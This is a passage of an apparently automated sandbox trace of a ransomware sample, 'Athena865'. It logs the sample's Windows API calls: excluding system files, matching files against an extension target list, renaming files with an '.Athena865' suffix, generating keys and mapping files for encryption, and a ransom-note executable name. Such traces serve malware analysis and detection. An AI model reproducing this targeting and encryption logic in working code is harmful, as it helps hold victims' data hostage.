(lpString="teacher") returned 7 [0103.331] lstrcmpiW (lpString1="ive.url", lpString2="teacher") returned -1 [0103.331] lstrlenW (lpString="tmd") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1 [0103.331] lstrlenW (lpString="tps") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="tps") returned 1 [0103.331] lstrlenW (lpString="trc") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0103.331] lstrlenW (lpString="trc") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0103.331] lstrlenW (lpString="trm") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="trm") returned 1 [0103.331] lstrlenW (lpString="udb") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="udb") returned 1 [0103.331] lstrlenW (lpString="udl") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="udl") returned 1 [0103.331] lstrlenW (lpString="usr") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="usr") returned -1 [0103.331] lstrlenW (lpString="v12") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="v12") returned -1 [0103.331] lstrlenW (lpString="vis") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="vis") returned -1 [0103.331] lstrlenW (lpString="vpd") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1 [0103.331] lstrlenW (lpString="vvv") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1 [0103.331] lstrlenW (lpString="wdb") returned 3 [0103.332] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1 [0103.332] lstrlenW (lpString="wmdb") returned 4 [0103.332] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1 [0103.332] lstrlenW (lpString="wrk") returned 3 [0103.332] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1 [0103.332] lstrlenW (lpString="xdb") returned 3 [0103.332] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1 [0103.332] lstrlenW (lpString="xld") returned 3 [0103.332] lstrcmpiW (lpString1="url", lpString2="xld") returned -1 [0103.332] lstrlenW (lpString="xmlff") returned 5 [0103.332] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1 [0103.332] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Athena865") returned 87 [0103.332] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\get windows live.url.athena865"), dwFlags=0x1) returned 1 [0103.333] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Get Windows Live.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\get windows live.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.334] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.334] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.335] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.335] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.335] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.337] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.337] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.338] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.338] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.339] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.339] CloseHandle (hObject=0x17c) returned 1 [0103.339] CloseHandle (hObject=0x154) returned 1 [0103.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.339] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799aaa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.339] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.339] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0103.339] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.339] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="..") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="windows") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="bootmgr") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="temp") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="pagefile.sys") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="boot") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ids.txt") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ntuser.dat") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="perflogs") returned 1 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="MSBuild") returned 1 [0103.340] lstrlenW (lpString="Windows Live Gallery.url") returned 24 [0103.340] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Windows Live Gallery.url" | out: lpString1="Windows Live Gallery.url") returned="Windows Live Gallery.url" [0103.340] lstrlenW (lpString="Windows Live Gallery.url") returned 24 [0103.340] lstrlenW (lpString="Athena865") returned 9 [0103.340] lstrcmpiW (lpString1="llery.url", lpString2="Athena865") returned 1 [0103.340] lstrlenW (lpString=".dll") returned 4 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".dll") returned 1 [0103.340] lstrlenW (lpString=".lnk") returned 4 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".lnk") returned 1 [0103.340] lstrlenW (lpString=".ini") returned 4 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".ini") returned 1 [0103.340] lstrlenW (lpString=".sys") returned 4 [0103.340] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".sys") returned 1 [0103.340] lstrlenW (lpString="Windows Live Gallery.url") returned 24 [0103.340] lstrlenW (lpString="bak") returned 3 [0103.340] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.340] lstrlenW (lpString="ba_") returned 3 [0103.340] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.340] lstrlenW (lpString="dbb") returned 3 [0103.340] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.340] lstrlenW (lpString="vmdk") returned 4 [0103.340] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.341] lstrlenW (lpString="rar") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.341] lstrlenW (lpString="zip") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.341] lstrlenW (lpString="tgz") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.341] lstrlenW (lpString="vbox") returned 4 [0103.341] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.341] lstrlenW (lpString="vdi") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.341] lstrlenW (lpString="vhd") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.341] lstrlenW (lpString="vhdx") returned 4 [0103.341] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.341] lstrlenW (lpString="avhd") returned 4 [0103.341] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.341] lstrlenW (lpString="db") returned 2 [0103.341] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.341] lstrlenW (lpString="db2") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.341] lstrlenW (lpString="db3") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.341] lstrlenW (lpString="dbf") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.341] lstrlenW (lpString="mdf") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.341] lstrlenW (lpString="mdb") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.341] lstrlenW (lpString="sql") returned 3 [0103.341] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.341] lstrlenW (lpString="sqlite") returned 6 [0103.341] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1 [0103.341] lstrlenW (lpString="sqlite3") returned 7 [0103.342] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1 [0103.342] lstrlenW (lpString="sqlitedb") returned 8 [0103.342] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1 [0103.342] lstrlenW (lpString="xml") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.342] lstrlenW (lpString="$er") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.342] lstrlenW (lpString="4dd") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.342] lstrlenW (lpString="4dl") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.342] lstrlenW (lpString="^^^") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.342] lstrlenW (lpString="abs") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.342] lstrlenW (lpString="abx") returned 3 [0103.342] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.342] lstrlenW (lpString="accdb") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1 [0103.342] lstrlenW (lpString="accdc") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1 [0103.342] lstrlenW (lpString="accde") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1 [0103.342] lstrlenW (lpString="accdr") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1 [0103.342] lstrlenW (lpString="accdt") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1 [0103.342] lstrlenW (lpString="accdw") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1 [0103.342] lstrlenW (lpString="accft") returned 5 [0103.342] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1 [0103.343] lstrlenW (lpString="adb") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.343] lstrlenW (lpString="adb") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.343] lstrlenW (lpString="ade") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.343] lstrlenW (lpString="adf") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.343] lstrlenW (lpString="adn") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.343] lstrlenW (lpString="adp") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.343] lstrlenW (lpString="alf") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.343] lstrlenW (lpString="ask") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.343] lstrlenW (lpString="btr") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.343] lstrlenW (lpString="cat") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.343] lstrlenW (lpString="cdb") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.343] lstrlenW (lpString="ckp") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.343] lstrlenW (lpString="cma") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.343] lstrlenW (lpString="cpd") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.343] lstrlenW (lpString="dacpac") returned 6 [0103.343] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1 [0103.343] lstrlenW (lpString="dad") returned 3 [0103.343] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.344] lstrlenW (lpString="dadiagrams") returned 10 [0103.344] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1 [0103.344] lstrlenW (lpString="daschema") returned 8 [0103.344] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1 [0103.344] lstrlenW (lpString="db-journal") returned 10 [0103.344] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1 [0103.344] lstrlenW (lpString="db-shm") returned 6 [0103.344] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1 [0103.344] lstrlenW (lpString="db-wal") returned 6 [0103.344] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1 [0103.344] lstrlenW (lpString="dbc") returned 3 [0103.344] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.344] lstrlenW (lpString="dbs") returned 3 [0103.344] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.344] lstrlenW (lpString="dbt") returned 3 [0103.344] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.344] lstrlenW (lpString="dbv") returned 3 [0103.344] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.344] lstrlenW (lpString="dbx") returned 3 [0103.344] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.344] lstrlenW (lpString="dcb") returned 3 [0103.344] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.344] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Athena865") returned 91 [0103.345] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live gallery.url.athena865"), dwFlags=0x1) returned 1 [0103.345] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live gallery.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.346] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.347] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.347] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.347] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.349] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.349] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.350] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.350] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.351] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.351] CloseHandle (hObject=0x17c) returned 1 [0103.351] CloseHandle (hObject=0x154) returned 1 [0103.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0103.351] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.351] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.351] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".") returned 1 [0103.351] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="..") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="windows") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="bootmgr") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="temp") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="pagefile.sys") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="boot") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ids.txt") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ntuser.dat") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="perflogs") returned 1 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="MSBuild") returned 1 [0103.352] lstrlenW (lpString="Windows Live Mail.url") returned 21 [0103.352] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Windows Live Mail.url" | out: lpString1="Windows Live Mail.url") returned="Windows Live Mail.url" [0103.352] lstrlenW (lpString="Windows Live Mail.url") returned 21 [0103.352] lstrlenW (lpString="Athena865") returned 9 [0103.352] lstrcmpiW (lpString1=" Mail.url", lpString2="Athena865") returned -1 [0103.352] lstrlenW (lpString=".dll") returned 4 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".dll") returned 1 [0103.352] lstrlenW (lpString=".lnk") returned 4 [0103.352] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".lnk") returned 1 [0103.352] lstrlenW (lpString=".ini") returned 4 [0103.353] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".ini") returned 1 [0103.353] lstrlenW (lpString=".sys") returned 4 [0103.353] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".sys") returned 1 [0103.353] lstrlenW (lpString="Windows Live Mail.url") returned 21 [0103.353] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Athena865") returned 88 [0103.353] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live mail.url.athena865"), dwFlags=0x1) returned 1 [0103.354] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live mail.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.354] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.354] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.355] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.355] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.355] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.463] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.463] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.464] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.464] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.465] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.465] CloseHandle 